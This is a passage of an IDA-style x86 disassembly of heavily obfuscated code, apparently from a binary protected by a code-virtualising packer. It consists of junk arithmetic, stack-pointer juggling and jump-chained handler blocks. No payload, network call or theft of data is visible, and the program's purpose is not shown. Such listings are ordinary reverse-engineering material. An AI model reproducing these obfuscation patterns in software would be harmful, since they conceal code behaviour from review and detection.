loc_5A676E:				; CODE XREF: sub_58A891+26956j
		mov	ecx, [esp+12h+var_14+2]
		add	esp, 4
		jmp	loc_5AF568
; ---------------------------------------------------------------------------


loc_5A6779:				; CODE XREF: sub_58A891+125D7j
		mov	ebx, 3401734Ah
		or	ecx, ebx
		pop	ebx
		shr	ecx, 8
		jmp	loc_5AEF1B
; ---------------------------------------------------------------------------


loc_5A6789:				; CODE XREF: sub_58A891+2350Ej
		pop	ebp
		pop	[esp+94h+var_94]
		pop	esp
		sub	eax, esi
		mov	esi, [esp+8Ch+var_8C]
		add	esp, 4
		push	ecx
		mov	ecx, 0FFFFh
		and	eax, ecx
		push	[esp+8Ch+var_8C]
		pop	ecx
		jmp	loc_5AC39D
; ---------------------------------------------------------------------------


loc_5A67A7:				; CODE XREF: sub_58A891+17C34j
		mov	esi, 277172A5h
		xor	esi, 277172A1h
		add	edi, esi
		pop	esi
		xchg	edi, [esp+0A4h+var_A6+2]
		pop	esp
		add	eax, ebp
		jmp	loc_5AFCE7
; ---------------------------------------------------------------------------


loc_5A67C0:				; CODE XREF: sub_58A891+1AF57j
		xor	edx, 2000004h
		mov	eax, edx
		pop	edx
		jmp	loc_5AD5EE
; ---------------------------------------------------------------------------


loc_5A67CE:				; CODE XREF: sub_58A891+18E84j
		mov	ebx, edx
		pop	edx
		push	edi
		mov	edi, 72A877C8h
		not	edi
		inc	edi
		jmp	loc_5A18C1
; ---------------------------------------------------------------------------


loc_5A67DF:				; CODE XREF: sub_58A891+26E95j
		add	esp, 4
		mov	eax, 0F3F81071h
		add	eax, 2BD03D97h
		add	eax, edi
		sub	eax, 2BD03D97h
		pop	edi
		jmp	loc_59C900
; ---------------------------------------------------------------------------


loc_5A67FC:				; CODE XREF: sub_58A891+1B599j
		sub	esi, edi
		push	edi
		push	esi
		pop	edi
		pop	esi
		pop	esi
		jmp	loc_5AB467
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0AAh+var_AA]
		push	ebx
		jmp	loc_59D53A
; ---------------------------------------------------------------------------


loc_5A6812:				; CODE XREF: sub_58A891:loc_5A6CE2j
		sub	eax, 527760B7h
		js	loc_59D6AD
		shl	eax, 1
		jp	loc_59CCC6
		dec	eax
		jmp	loc_5AA897
; ---------------------------------------------------------------------------
		add	esp, 4
		jmp	loc_5A6F60
; ---------------------------------------------------------------------------


loc_5A6833:				; CODE XREF: sub_58A891+161A7j
		sub	edi, 4C2822F8h
		shr	edi, 6
		shl	edi, 1
		sub	edi, 44E865Ch
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp+1Eh+var_20+2]
		jmp	loc_59C486
; ---------------------------------------------------------------------------


loc_5A684F:				; CODE XREF: sub_58A891+11860j
					; sub_58A891+1F9A3j
		mov	[esp+26h+var_28+2], ebp
		mov	ebp, 4
		add	edx, ebp
		jmp	loc_5AF438
; ---------------------------------------------------------------------------


loc_5A685E:				; CODE XREF: sub_58A891+1D052j
		push	52B0h
		push	esp
		pop	[esp+2Eh+var_30+2]
		jmp	loc_5A0FD5
; ---------------------------------------------------------------------------


loc_5A686C:				; CODE XREF: sub_58A891+1702Bj
		pop	ebx
		add	ebx, 4
		jmp	loc_5B04F4
; ---------------------------------------------------------------------------


loc_5A6878:				; CODE XREF: sub_58A891+1BB67j
		xchg	ebx, esi
		neg	esi
		jmp	loc_59F2B3
; ---------------------------------------------------------------------------


loc_5A6881:				; CODE XREF: sub_58A891+16775j
		shl	eax, 3
		jmp	loc_5AB6C9
; ---------------------------------------------------------------------------


loc_5A6889:				; CODE XREF: sub_58A891+1738Cj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+46h+var_48+2]
		pop	esp
		push	esi
		mov	esi, 1EA7789Ah
		xor	esi, 0E126A5h
		xor	edx, esi
		pop	esi
		xor	edx, 0D68942AEh
		sub	ebx, 1F077D16h
		jmp	loc_5A0CB8
; ---------------------------------------------------------------------------


loc_5A68B8:				; CODE XREF: sub_58A891+1B467j
		push	edi
		mov	edi, 5EFF3F5Ch
		add	edi, 0A100C0A8h
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp+4Ah+var_4C+2]
		pop	esp
		jmp	loc_5A74F8
; ---------------------------------------------------------------------------


loc_5A68D6:				; CODE XREF: sub_58A891+1F273j
		sub	edx, 1
		shr	edx, 6
		inc	edx
		dec	edx
		push	988h
		mov	[esp+4Ah+var_4C+2], ebp
		mov	ebp, 85C8DC57h
		sub	edx, ebp
		push	[esp+4Ah+var_4C+2]
		mov	ebp, [esp+4Eh+var_50+2]
		add	esp, 4
		add	esp, 4
		and	esi, edx
		pop	edx
		jmp	loc_5A0215
; ---------------------------------------------------------------------------


loc_5A6904:				; CODE XREF: sub_58A891+2528Cj
		pop	esi
		sub	esi, 6986148h
		mov	ebp, [esp+3Eh+var_40+2]
		jmp	loc_5A4047
; ---------------------------------------------------------------------------


loc_5A6913:				; CODE XREF: sub_58A891+23432j
		add	[esp+3Eh+var_40+2], 2034160Dh
		jmp	loc_5A2F93
; ---------------------------------------------------------------------------


loc_5A691F:				; CODE XREF: sub_58A891+20995j
		sub	bh, dh
		pop	edx
		pop	eax
		xor	al, bh
		push	[esp+36h+var_38+2]
		pop	ebx
		push	esi
		mov	esi, esp
		push	edx
		jmp	loc_59D62B
; ---------------------------------------------------------------------------


loc_5A6932:				; CODE XREF: sub_58A891+2503Aj
		add	esp, 4
		jmp	loc_5AE49A
; ---------------------------------------------------------------------------


loc_5A693A:				; CODE XREF: sub_58A891+17CE5j
		add	eax, 4
		xchg	eax, [esp+94h+var_94]
		jmp	loc_59FA9E
; ---------------------------------------------------------------------------


loc_5A6945:				; CODE XREF: sub_58A891+25C66j
		mov	[esp+94h+var_94], esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xor	ebx, [esp+90h+var_90]
		xor	[esp+90h+var_90], ebx
		xor	ebx, [esp+90h+var_90]
		pop	esp
		jmp	loc_5A9086
; ---------------------------------------------------------------------------


loc_5A695F:				; CODE XREF: sub_58A891+1A3C0j
		sub	[esp+26h+var_28+2], 7DA24C81h
		pop	edi
		add	edi, 7DA24C81h
		push	7E39h
		jmp	loc_59ECA8
; ---------------------------------------------------------------------------


loc_5A6977:				; CODE XREF: sub_58A891+14D75j
		or	ecx, eax
		pop	eax
		push	4C34h
		jmp	loc_59DB5D
; ---------------------------------------------------------------------------


loc_5A6984:				; CODE XREF: sub_58A891+14509j
					; sub_58A891+20D03j
		push	edx
		push	[esp+88h+var_84]
		jmp	loc_59C273
; ---------------------------------------------------------------------------


loc_5A698E:				; CODE XREF: sub_58A891+1F5E4j
		pop	eax
		sub	esp, 4
		jmp	loc_5B2D18
; ---------------------------------------------------------------------------


loc_5A699A:				; CODE XREF: sub_58A891+135A5j
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		jmp	loc_5A60CF
; ---------------------------------------------------------------------------


loc_5A69A5:				; CODE XREF: sub_58A891+15A25j
		mov	eax, 1FD353BDh
		xor	edx, eax
		jmp	loc_5AC7A2
; ---------------------------------------------------------------------------


loc_5A69B1:				; CODE XREF: sub_58A891+217A8j
		add	ah, bl
		pop	ebx
		add	bl, ah
		push	[esp+0AAh+var_AA]
		pop	eax
		add	esp, 4
		shr	bl, 2
		xor	bl, 2Ch
		xor	al, bl
		pop	ebx
		push	ax
		push	ebx
		mov	bh, 0Eh
		jmp	loc_5A6A81
; ---------------------------------------------------------------------------


loc_5A69D0:				; CODE XREF: sub_58A891+1BC95j
		add	esp, 4
		mov	[ecx], al
		pop	eax
		pop	ecx
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A69DC:				; CODE XREF: sub_58A891+1460Fj
		push	4
		mov	ecx, [esp+92h+var_94+2]
		add	esp, 4
		jmp	loc_5B237E
; ---------------------------------------------------------------------------


loc_5A69EC:				; CODE XREF: sub_58A891+1FF07j
		mov	ebx, [esp+8Eh+var_90+2]
		add	esp, 4
		push	eax
		push	edx
		push	eax
		mov	al, 66h
		sub	al, 0A0h
		mov	dh, al
		pop	eax
		mov	ah, dh
		pop	edx
		add	bl, ah
		pop	eax
		sub	bl, 45h
		push	cx
		mov	cl, 0B3h
		jmp	loc_5A78ED
; ---------------------------------------------------------------------------


loc_5A6A11:				; CODE XREF: sub_58A891+169E5j
		pop	esp
		or	dh, 0FAh
		jmp	loc_5B10E6
; ---------------------------------------------------------------------------


loc_5A6A1A:				; CODE XREF: sub_58A891+27837j
		pop	edx
		add	esp, 4
		jmp	loc_5A673F
; ---------------------------------------------------------------------------


loc_5A6A26:				; CODE XREF: sub_58A891+1B386j
		push	[esp+12h+var_14+2]
		jmp	loc_5AF100
; ---------------------------------------------------------------------------


loc_5A6A2E:				; CODE XREF: sub_58A891+17A2Cj
		push	ecx
		mov	cl, 7Bh
		shr	cl, 7
		xor	cl, 63h
		inc	cl
		jmp	loc_5A08D2
; ---------------------------------------------------------------------------


loc_5A6A3E:				; CODE XREF: sub_58A891+2363Cj
		shl	edx, 8
		jmp	loc_5B2319
; ---------------------------------------------------------------------------


loc_5A6A46:				; CODE XREF: sub_58A891+27588j
		xor	eax, 46191A17h
		jmp	loc_5A8FF6
; ---------------------------------------------------------------------------


loc_5A6A50:				; CODE XREF: sub_58A891+12C79j
		push	esi
		jmp	loc_5A8B28
; ---------------------------------------------------------------------------


loc_5A6A56:				; CODE XREF: sub_58A891+16CEFj
		push	esi
		mov	esi, esp
		jmp	loc_5B03FC
; ---------------------------------------------------------------------------


loc_5A6A5E:				; CODE XREF: sub_58A891+1FD54j
		add	edx, 0F46705F8h
		add	edi, edx
		pop	edx
		add	edi, 4
		xchg	edi, [esp+0AAh+var_AA]
		pop	esp
		push	ebx
		mov	ebx, 3E7D7C58h
		sub	ebx, 1852619Ah
		not	ebx
		jmp	loc_5AA070
; ---------------------------------------------------------------------------


loc_5A6A81:				; CODE XREF: sub_58A891+1C13Aj
		or	bh, 0
		jns	loc_5AA789
		push	edx
		mov	dl, 0Ah
		dec	dl
		xor	dl, 21h
		xor	bh, dl
		pop	edx
		mov	ah, 26h
		pop	edx


loc_5A6A98:				; CODE XREF: sub_58A891+178F7j
		add	esp, 4
		push	edx
		push	[esp+0A4h+var_A2+2]
		pop	edx
		jmp	loc_5B2A16
; ---------------------------------------------------------------------------


loc_5A6AA6:				; CODE XREF: sub_58A891+27B05j
		sub	edx, ebp
		pop	ebp
		and	edx, 0A6B0197h
		push	3A7Bh
		mov	[esp+0A4h+var_A6+2], ebx
		mov	ebx, 6E525698h
		xor	edx, ebx
		pop	ebx
		jmp	loc_5B20D5
; ---------------------------------------------------------------------------


loc_5A6AC4:				; CODE XREF: sub_58A891+27AE8j
		dec	ebx
		jmp	loc_5A9E05
; ---------------------------------------------------------------------------


loc_5A6ACA:				; CODE XREF: sub_58A891+27391j
		push	ebx
		mov	ebx, 4
		jmp	loc_5A4D03
; ---------------------------------------------------------------------------


loc_5A6AD5:				; CODE XREF: sub_58A891+120A0j
		xchg	ecx, [esp+0A6h+var_A6]
		pop	esp
		mov	[esp+0A2h+var_A2], esp
		add	[esp+0A2h+var_A2], 4
		jmp	loc_5AD4EB
; ---------------------------------------------------------------------------


loc_5A6AE8:				; CODE XREF: sub_58A891+145E4j
		mov	esi, [esp+92h+var_94+2]
		jmp	loc_5B1F77
; ---------------------------------------------------------------------------


loc_5A6AF0:				; CODE XREF: sub_58A891+2052Fj
		pop	ebx
		sub	edi, 4
		jmp	loc_59CE7E
; ---------------------------------------------------------------------------


loc_5A6AFC:				; CODE XREF: sub_58A891+22A51j
		add	ebp, edi
		pop	edi
		push	ebp
		jmp	loc_5A35B6
; ---------------------------------------------------------------------------


loc_5A6B05:				; CODE XREF: sub_58A891+22339j
		not	esi
		jmp	loc_5AF6F9
; ---------------------------------------------------------------------------
		push	[esp+8Eh+var_90+2]
		pop	ecx
		push	2620h
		mov	[esp+92h+var_94+2], edi
		mov	edi, esp
		jmp	loc_59DA2F
; ---------------------------------------------------------------------------


loc_5A6B1F:				; CODE XREF: sub_58A891+26A3Dj
		sub	eax, 18397DECh
		add	eax, ebp
		jmp	loc_59E767
; ---------------------------------------------------------------------------


loc_5A6B2B:				; CODE XREF: sub_58A891+271CCj
		add	[esp+92h+var_90+2], 7676B40h
		jmp	loc_5A786B
; ---------------------------------------------------------------------------


loc_5A6B38:				; CODE XREF: sub_58A891+2745Bj
		mov	edi, ecx
		jmp	loc_59D50F
; ---------------------------------------------------------------------------


loc_5A6B3F:				; CODE XREF: sub_58A891+1B1B2j
		xor	esi, edi
		jmp	loc_5AABD9
; ---------------------------------------------------------------------------


loc_5A6B46:				; CODE XREF: sub_58A891+1FCD4j
		pop	[esp+0AEh+var_AE]
		mov	esp, [esp+0AAh+var_AA]
		push	small 7748h
		mov	word ptr [esp+0ACh+var_AE+2], bx
		push	6AC5h
		mov	[esp+0B0h+var_B2+2], eax
		push	ebx
		mov	bl, 0FEh
		jmp	loc_5B209F
; ---------------------------------------------------------------------------


loc_5A6B64:				; CODE XREF: sub_58A891+1DE77j
		xchg	eax, edi
		push	58FAh
		mov	[esp+0B8h+var_BA+2], edi
		xchg	edi, [esp+0B8h+var_BA+2]
		not	edi
		xchg	edi, [esp+0B8h+var_BA+2]
		mov	edi, [esp+0B8h+var_BA+2]
		add	esp, 4
		xchg	eax, edi
		sub	eax, 0BAF2AD72h
		add	edx, eax
		pop	eax
		push	eax
		mov	eax, 4
		sub	edx, eax
		pop	eax
		xchg	edx, [esp+0B0h+var_B2+2]
		mov	esp, [esp+0B0h+var_B2+2]
		mov	[esp+0B0h+var_B2+2], ebp
		jmp	loc_5A003F
; ---------------------------------------------------------------------------


loc_5A6B9B:				; CODE XREF: sub_58A891+27858j
		pop	ebx
		mov	ebx, [esp+0ACh+var_AE+2]
		add	esp, 4
		jmp	loc_59C196
; ---------------------------------------------------------------------------


loc_5A6BA7:				; CODE XREF: sub_58A891+1780Fj
		mov	ebx, 0F8E82CA7h
		sub	ebx, 1BDA3A82h
		jmp	loc_5A4355
; ---------------------------------------------------------------------------


loc_5A6BB7:				; CODE XREF: sub_58A891+1DFA6j
		push	[esp+0ACh+var_AA+2]
		jmp	loc_5A21AB
; ---------------------------------------------------------------------------


loc_5A6BC0:				; CODE XREF: sub_58A891+1B21Dj
		xor	esi, [esp+62h+var_64+2]
		mov	esp, [esp+62h+var_64+2]
		sub	esp, 4
		jmp	loc_5A9458
; ---------------------------------------------------------------------------


loc_5A6BCE:				; CODE XREF: sub_58A891+12A78j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5B28BF
; ---------------------------------------------------------------------------


loc_5A6BDF:				; CODE XREF: sub_58A891+177A5j
		not	eax
		sub	eax, 74591C31h
		mov	esi, eax
		mov	eax, [esp+52h+var_54+2]
		push	eax
		jmp	loc_5A9FBB
; ---------------------------------------------------------------------------


loc_5A6BF1:				; CODE XREF: sub_58A891+1CC24j
		xor	esi, 3A713CE0h
		jmp	loc_5A548A
; ---------------------------------------------------------------------------


loc_5A6BFC:				; CODE XREF: sub_58A891+27061j
		push	esi
		mov	esi, 4
		sub	ebx, esi
		pop	esi
		jmp	loc_5A23AA
; ---------------------------------------------------------------------------


loc_5A6C0A:				; CODE XREF: sub_58A891+1C788j
		xor	ecx, 7FC002DCh
		jmp	loc_5AA726
; ---------------------------------------------------------------------------


loc_5A6C15:				; CODE XREF: sub_58A891:loc_5AA1E6j
		sub	edx, 7E7F5184h
		jz	loc_5B1E08
		add	edx, 3154E6Ch
		shr	edx, 2
		jmp	loc_5AD7D6
; ---------------------------------------------------------------------------


loc_5A6C2F:				; CODE XREF: sub_58A891+185DAj
					; sub_58A891+27B64j
		push	72BAh
		mov	[esp+9Eh+var_9E], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edi
		mov	edi, 4
		sub	ebx, edi
		pop	edi
		xchg	ebx, [esp+9Eh+var_9E]
		mov	esp, [esp+9Eh+var_9E]
		mov	[esp+9Eh+var_9E], esi
		push	ebp
		mov	ebp, 393010FCh
		mov	esi, ebp
		pop	ebp
		mov	ecx, 0C6CFEF28h
		sub	esp, 4
		jmp	loc_5A61AF
; ---------------------------------------------------------------------------


loc_5A6C6A:				; CODE XREF: sub_58A891+201BCj
		mov	[esp+0A2h+var_A2], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+0A2h+var_A2]
		xor	[esp+0A2h+var_A2], esi
		jmp	loc_5A9811
; ---------------------------------------------------------------------------


loc_5A6C86:				; CODE XREF: sub_58A891+13E90j
		sub	esi, 0F7113C51h
		mov	edi, esi
		pop	esi
		push	eax
		mov	eax, 1C412A06h
		or	edi, eax
		jmp	loc_5A9253
; ---------------------------------------------------------------------------


loc_5A6C9C:				; CODE XREF: sub_58A891+13F37j
		xchg	esi, [esp+0B2h+var_B2]
		pop	esp
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebp
		mov	ebp, 4
		sub	esi, ebp
		pop	ebp
		jmp	loc_5A8476
; ---------------------------------------------------------------------------


loc_5A6CB7:				; CODE XREF: sub_58A891+1EC08j
		shl	edx, 8
		jns	loc_5AA622
		jmp	loc_59CE22
; ---------------------------------------------------------------------------


loc_5A6CC5:				; CODE XREF: sub_58A891+2749Dj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5ADC08
; ---------------------------------------------------------------------------


loc_5A6CD8:				; CODE XREF: sub_58A891+1621Fj
		push	38EBh
		jmp	loc_59EE8D
; ---------------------------------------------------------------------------


loc_5A6CE2:				; CODE XREF: sub_58A891+17976j
					; sub_58A891+24D11j
		jl	loc_5A6812
		sub	eax, 527760B7h
		js	loc_59EBE4
		shl	eax, 1
		jp	loc_5AE7B1
		dec	eax
		jo	loc_5AC050
		xor	eax, 1214F217h
		mov	edi, eax


loc_5A6D09:				; CODE XREF: sub_58A891+1A555j
		sub	ebp, ecx
		pop	ecx
		sub	edi, 57AE34B8h
		add	edi, ebp
		add	edi, 57AE34B8h
		push	[esp+9Eh+var_9E]
		pop	ebp
		add	esp, 4
		xchg	edi, [esp+0]
		jmp	loc_5A9861
; ---------------------------------------------------------------------------


loc_5A6D2C:				; CODE XREF: sub_58A891+1CFCAj
		mov	[esp+0], ebp
		mov	ebp, 77D87F0Fh
		push	0
		sub	[esp+9Eh+var_9E], ebp
		mov	ebp, [esp+9Eh+var_9E]
		add	esp, 4
		push	edi
		mov	edi, 755D3010h
		not	edi
		shl	edi, 4
		neg	edi
		shl	edi, 2
		push	ebx
		mov	ebx, 0C7EFFA8Bh
		jmp	loc_5B291E
; ---------------------------------------------------------------------------


loc_5A6D5D:				; CODE XREF: sub_58A891+2482Dj
		sub	ebx, 4AF43EF1h
		jmp	loc_5A05DB
; ---------------------------------------------------------------------------


loc_5A6D68:				; CODE XREF: sub_58A891+19D75j
					; sub_58A891+2704Bj
		xor	ebp, 68092DCDh
		add	ecx, ebp
		pop	ebp
		jmp	loc_5A47E0
; ---------------------------------------------------------------------------


loc_5A6D76:				; CODE XREF: sub_58A891+209FBj
		pop	ebx
		pop	ecx
		xchg	esi, ecx
		push	esi
		not	[esp+36h+var_38+2]
		mov	esi, [esp+36h+var_38+2]
		add	esp, 4
		push	ecx
		push	esi
		pop	ecx
		jmp	loc_5AB272
; ---------------------------------------------------------------------------


loc_5A6D8C:				; CODE XREF: sub_58A891+1D300j
		mov	edi, 40BA3A7Eh
		jmp	loc_5A9004
; ---------------------------------------------------------------------------


loc_5A6D96:				; CODE XREF: sub_58A891+20AF0j
		pop	ebp
		push	3774h
		jmp	loc_5B0FC7
; ---------------------------------------------------------------------------


loc_5A6DA1:				; CODE XREF: sub_58A891+228C5j
		xor	[esp+36h+var_38+2], ecx
		xor	ecx, [esp+36h+var_38+2]
		pop	esp
		imul	ecx
		push	310h
		jmp	loc_59C753
; ---------------------------------------------------------------------------


loc_5A6DB4:				; CODE XREF: sub_58A891+13D47j
		add	ch, 58h
		sub	ah, ch
		pop	ecx
		xor	dh, ah
		mov	eax, [esp+5Eh+var_60+2]
		add	esp, 4
		add	bh, dh
		mov	edx, [esp+5Ah+var_5C+2]
		jmp	loc_5A8002
; ---------------------------------------------------------------------------


loc_5A6DCC:				; CODE XREF: sub_58A891+24878j
		mov	[esp+5Ah+var_5C+2], edi
		push	ecx
		mov	ecx, 34AC6B83h
		mov	edi, 34AC6B87h
		xor	edi, ecx
		pop	ecx
		add	ebp, edi
		pop	edi
		push	ecx
		mov	ecx, 4
		jmp	loc_5A5906
; ---------------------------------------------------------------------------


loc_5A6DEB:				; CODE XREF: sub_58A891+270CCj
		mov	eax, 0D320B5E5h
		push	ebp
		jmp	loc_5A902C
; ---------------------------------------------------------------------------


loc_5A6DF6:				; CODE XREF: sub_58A891+143F5j
					; sub_58A891+1B1C3j
		mov	eax, 720B2BF1h
		mov	ecx, eax
		pop	eax
		mov	ebx, 0AFD29D8Eh
		sub	ebx, 2A92259Ch
		sub	ebx, ecx
		add	ebx, 2A92259Ch
		mov	ecx, [esp+92h+var_94+2]
		add	esp, 4
		push	esi
		mov	esi, 0F7637h
		shr	esi, 5
		add	esi, 2CFD97E3h
		sub	eax, esi
		pop	esi
		sub	eax, ebx
		add	eax, 2CFE1394h
		jmp	loc_59D799
; ---------------------------------------------------------------------------


loc_5A6E35:				; CODE XREF: sub_58A891+205C9j
		dec	edi
		xchg	edi, ebp
		jmp	loc_59C4A7
; ---------------------------------------------------------------------------


loc_5A6E3D:				; CODE XREF: sub_58A891+1853Aj
		sub	ecx, edi
		jmp	loc_5A0DFB
; ---------------------------------------------------------------------------


loc_5A6E44:				; CODE XREF: sub_58A891+1B318j
		mov	[esp+5Ah+var_5C+2], edi
		mov	edi, 735778FDh
		jmp	loc_5A72C8
; ---------------------------------------------------------------------------
		lodsd
		push	esi
		push	edx
		push	61DEh
		mov	[esp+66h+var_68+2], edi
		mov	edi, 687086h
		dec	edi
		push	ebx
		mov	ebx, 17B254Bh
		add	edi, 5F5143B7h
		sub	edi, ebx
		push	ebp
		mov	ebp, 7BD2603Ah
		jmp	loc_5AE886
; ---------------------------------------------------------------------------


loc_5A6E7B:				; CODE XREF: sub_58A891+20572j
		push	eax
		push	esp
		mov	eax, [esp+76h+var_78+2]
		push	4337h
		mov	[esp+7Ah+var_7C+2], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+7Ah+var_7C+2]
		xor	[esp+7Ah+var_7C+2], ecx
		xor	ecx, [esp+7Ah+var_7C+2]
		mov	esp, [esp+7Ah+var_7C+2]
		add	eax, 4
		add	eax, 4
		push	4B39h
		mov	[esp+7Eh+var_80+2], eax
		jmp	loc_5AB6A5
; ---------------------------------------------------------------------------


loc_5A6EB4:				; CODE XREF: sub_58A891+269D3j
		shl	ch, 3
		js	loc_5AE56F
		jmp	loc_5A9C25
; ---------------------------------------------------------------------------
		pop	edx
		add	esp, 4
		push	esi


loc_5A6ECA:				; CODE XREF: sub_58A891+24DEFj
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5A9C3F
; ---------------------------------------------------------------------------


loc_5A6ED8:				; CODE XREF: sub_58A891+1CEE6j
		mov	ax, word ptr [esp+7Ah+var_7C+2]
		push	ebp
		push	esp
		pop	ebp
		push	eax
		jmp	loc_5B1713
; ---------------------------------------------------------------------------


loc_5A6EE5:				; CODE XREF: sub_58A891+165BEj
		jz	loc_5B1AF5
		sub	ecx, 0CD4BA5BCh
		mov	ebx, ecx
		pop	ecx
		mov	edi, ebx
		mov	ebx, [esp+52h+var_54+2]
		jmp	loc_5AAE4F
; ---------------------------------------------------------------------------


loc_5A6EFE:				; CODE XREF: sub_58A891+120DFj
		not	edi
		inc	edi
		shl	edi, 4
		add	edi, 3587E022h
		xor	ebx, edi
		jmp	loc_59D70D
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_5B044C
		sub	esp, 4
		mov	[esp+0AAh+var_AA], edi
		sub	esp, 4
		mov	[esp+0AEh+var_AE], ecx
		push	16AF0EEFh
		jmp	loc_5A4662
; ---------------------------------------------------------------------------


loc_5A6F38:				; CODE XREF: sub_58A891+11CD3j
		or	ebx, esi
		pop	esi
		jmp	loc_5A9F31
; ---------------------------------------------------------------------------


loc_5A6F40:				; CODE XREF: sub_58A891+1E5BBj
		mov	ecx, 94E8A062h
		jmp	loc_5B1748
; ---------------------------------------------------------------------------


loc_5A6F4A:				; CODE XREF: sub_58A891+11B76j
		shl	[esp+6+var_8+2], cl
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A6F52:				; CODE XREF: sub_58A891:loc_5A103Fj
					; sub_58A891:loc_5AC577j
		xor	edi, 220D7F5Eh
		mov	ebx, edi
		pop	edi
		jmp	loc_5A012D
; ---------------------------------------------------------------------------


loc_5A6F60:				; CODE XREF: sub_58A891+1BF9Dj
					; sub_58A891+25DEEj
		sub	esi, 3014F92h
		sub	esi, 472531B3h
		jge	loc_59CFDE
		xor	esi, 30C2D461h
		mov	ecx, esi
		pop	esi
		add	ecx, 5C2213BDh
		push	esi
		push	esp
		mov	esi, [esp+0AEh+var_AE]
		add	esp, 4
		jmp	loc_59C111
; ---------------------------------------------------------------------------


loc_5A6F8E:				; CODE XREF: sub_58A891+23DFFj
		push	[esp+0AAh+var_AA]
		jmp	loc_5A905A
; ---------------------------------------------------------------------------


loc_5A6F96:				; CODE XREF: sub_58A891+1DE4Ej
		pop	edx
		add	edx, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+0AEh+var_AE]
		jmp	loc_5A4DB7
; ---------------------------------------------------------------------------


loc_5A6FB4:				; CODE XREF: sub_58A891+2807Bj
		neg	eax
		jb	loc_5AF15F
		jmp	loc_5A8823
; ---------------------------------------------------------------------------
		pop	edx
		push	esi
		not	[esp+0AEh+var_AE]
		pop	esi
		sub	al, 19h
		sub	al, 51h


loc_5A6FCB:				; CODE XREF: sub_58A891+19E97j
		push	1
		jmp	loc_5AE1B1
; ---------------------------------------------------------------------------


loc_5A6FD5:				; CODE XREF: sub_58A891+170ABj
		neg	edi
		jmp	loc_5A9125
; ---------------------------------------------------------------------------


loc_5A6FDC:				; CODE XREF: sub_58A891+15326j
		sub	edx, 726F1325h
		sub	edx, ebx
		add	edx, 726F1325h
		pop	ebx


loc_5A6FEB:				; CODE XREF: sub_58A891+15A43j
					; sub_58A891+26F55j
		push	dword ptr [edi+24h]
		push	[esp+0A2h+var_A2]
		mov	ecx, [esp+0A6h+var_A6]
		jmp	loc_5ACD18
; ---------------------------------------------------------------------------


loc_5A6FF9:				; CODE XREF: sub_58A891+21BE6j
		add	esp, 4
		sub	ebx, 5C71728Ch
		sub	ebx, edx
		push	edx
		mov	edx, 5C71728Ch
		jmp	loc_5B2718
; ---------------------------------------------------------------------------


loc_5A7012:				; CODE XREF: sub_58A891+15E4Cj
		pop	ebx
		sub	ecx, 37B66336h
		jmp	loc_5A6C0A
; ---------------------------------------------------------------------------


loc_5A701E:				; CODE XREF: sub_58A891+11F8Ej
		lodsd
		push	edi
		push	ebp
		mov	ebp, 5AB02863h
		xor	ebp, 22FF115Ch
		jmp	loc_5A2910
; ---------------------------------------------------------------------------


loc_5A7031:				; CODE XREF: sub_58A891+1A019j
					; sub_58A891+24F36j
		or	edi, 29853CB0h
		jmp	loc_5AEA61
; ---------------------------------------------------------------------------


loc_5A703C:				; CODE XREF: sub_58A891+21A6Aj
		mov	ebx, 697D64BAh
		add	eax, ebx
		pop	ebx
		sub	eax, edx
		sub	eax, 697D64BAh
		jmp	loc_5A4640
; ---------------------------------------------------------------------------


loc_5A7050:				; CODE XREF: sub_58A891+148B5j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+0EEh+var_F0+2]
		pop	esp
		mov	[esp+0EAh+var_EC+2], ecx
		jmp	loc_5AC4FD
; ---------------------------------------------------------------------------


loc_5A7068:				; CODE XREF: sub_58A891+1BD36j
		sub	esi, 144D61A0h
		xor	esi, 5059E792h
		push	ecx
		mov	ecx, 69E832D2h
		push	esi
		mov	esi, 2482055h
		xor	ecx, esi
		pop	esi
		neg	ecx
		jmp	loc_5AB74A
; ---------------------------------------------------------------------------


loc_5A708A:				; CODE XREF: sub_58A891+1F2BFj
					; sub_58A891+217B3j
		sub	eax, 4
		xchg	eax, [esp+0F2h+var_F4+2]
		pop	esp
		mov	[esp+0EEh+var_F0+2], ebx
		push	[esp+0EEh+var_F0+2]
		mov	eax, [esp+0F2h+var_F4+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0F6h+var_F8+2]
		pop	esp
		jmp	loc_59E177
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0F2h+var_F4+2]
		jmp	loc_5A2171
; ---------------------------------------------------------------------------


loc_5A70BB:				; CODE XREF: sub_58A891+11D45j
		pop	esi
		add	esi, 4
		push	ebp
		jmp	loc_59F8DB
; ---------------------------------------------------------------------------


loc_5A70C8:				; CODE XREF: sub_58A891+140D1j
		push	5DA7h
		mov	[esp+32h+var_34+2], esp
		jmp	loc_5AEBDF
; ---------------------------------------------------------------------------


loc_5A70D5:				; CODE XREF: sub_58A891+1D031j
		mov	[esp+32h+var_34+2], edi
		mov	edi, 2A22426Fh
		inc	edi
		jmp	loc_5AE3F9
; ---------------------------------------------------------------------------


loc_5A70E3:				; CODE XREF: sub_58A891+24FE1j
		mov	ebp, ebx
		jmp	loc_5A7DF5
; ---------------------------------------------------------------------------


loc_5A70EA:				; CODE XREF: sub_58A891+12F36j
		jnp	loc_5A3E35
		push	ebx
		mov	bh, 0FCh
		xchg	ah, bh
		jmp	loc_5ABEC1
